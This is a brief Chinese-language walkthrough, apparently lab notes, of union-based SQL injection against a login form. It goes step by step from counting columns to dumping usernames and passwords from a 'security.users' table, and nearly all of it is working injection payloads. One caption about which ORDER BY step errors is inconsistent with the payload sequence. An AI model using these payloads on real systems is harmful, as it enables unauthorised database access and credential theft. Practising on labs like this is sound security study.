判断当前数据库字段有几列;
uname=admin' order by 2# &password=123
这个时候就出现了报错,表示字段只有两列。
uname=admin' order by 3# &password=123
判断当前用户与当前数据库
uname=admin' union select user(),database()# &password=123
查询security库的所有表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
查询users表下面所有的字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
查询username,password字段的类容;
0x3a是:的进制编译后的
1' union select 1,group_concat(id,0x3a,username,0x3a,password) from security.users #